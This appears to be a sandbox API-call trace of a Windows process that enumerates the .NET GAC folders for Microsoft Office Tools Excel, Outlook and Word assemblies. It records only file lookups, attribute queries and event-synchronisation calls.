	[0088.635] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.635] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.635] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.635] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.Excel.Implementation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.excel.implementation.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492cd8 | out: lpFileInformation=0x12492cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x71998)) returned 1
	[0088.635] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook"), fInfoLevelId=0x0, lpFileInformation=0x12492d28 | out: lpFileInformation=0x12492d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e1ffc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6e1ffc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6e1ffc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.635] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.635] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e1ffc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6e1ffc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6e1ffc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.636] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.636] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492dc8 | out: lpFileInformation=0x12492dc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36b4380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36b4380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36b4380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.636] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.636] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36b4380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36b4380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36b4380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.636] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.636] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.Outlook.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.outlook.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492e68 | out: lpFileInformation=0x12492e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd36b4380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36b4380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36b4380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xdb78)) returned 1
	[0088.636] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook.implementation"), fInfoLevelId=0x0, lpFileInformation=0x12492eb8 | out: lpFileInformation=0x12492eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a30780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5a30780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5a30780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.637] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook.implementation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.637] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a30780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5a30780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5a30780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.637] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.637] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492f58 | out: lpFileInformation=0x12492f58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd368e220, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd368e220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd368e220, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.637] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.637] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd368e220, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd368e220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd368e220, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.637] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.637] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.Outlook.Implementation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.outlook.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.outlook.implementation.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492ff8 | out: lpFileInformation=0x12492ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd368e220, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd368e220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36b4380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x22198)) returned 1
	[0088.637] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word"), fInfoLevelId=0x0, lpFileInformation=0x12493048 | out: lpFileInformation=0x12493048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.638] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.638] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.638] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.638] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x124930e8 | out: lpFileInformation=0x124930e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4d2b320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4d2b320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4d2b320, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.638] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.638] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4d2b320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4d2b320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4d2b320, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.638] SetEvent (hEvent=0x78) returned 1
	[0088.639] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0088.639] SetEvent (hEvent=0x78) returned 1
	[0088.639] SetEvent (hEvent=0x80) returned 1
	[0088.639] SetEvent (hEvent=0x8c) returned 1
	[0088.639] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0088.639] SetEvent (hEvent=0x8c) returned 1
	[0088.640] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4d2b320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4d2b320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4d2b320, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.640] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4d2b320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4d2b320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4d2b320, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x22978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Word.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.640] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.640] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.640] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.Word.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.word.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492058 | out: lpFileInformation=0x12492058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4d2b320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4d2b320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4d2b320, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x22978)) returned 1
	[0088.640] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word.implementation"), fInfoLevelId=0x0, lpFileInformation=0x124920a8 | out: lpFileInformation=0x124920a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.640] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word.implementation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.640] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.640] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.640] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bae560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4bae560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4bae560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.640] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.641] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.641] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492148 | out: lpFileInformation=0x12492148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bae560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4bae560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4bae560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.641] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.641] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bae560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4bae560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4bae560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.641] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bae560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4bae560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4bae560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.641] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4bae560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4bae560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4bae560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x53590, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Word.Implementation.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.641] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.641] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.641] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.Word.Implementation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.word.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.word.implementation.dll"), fInfoLevelId=0x0, lpFileInformation=0x124921e8 | out: lpFileInformation=0x124921e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4bae560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4bae560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4bae560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x53590)) returned 1
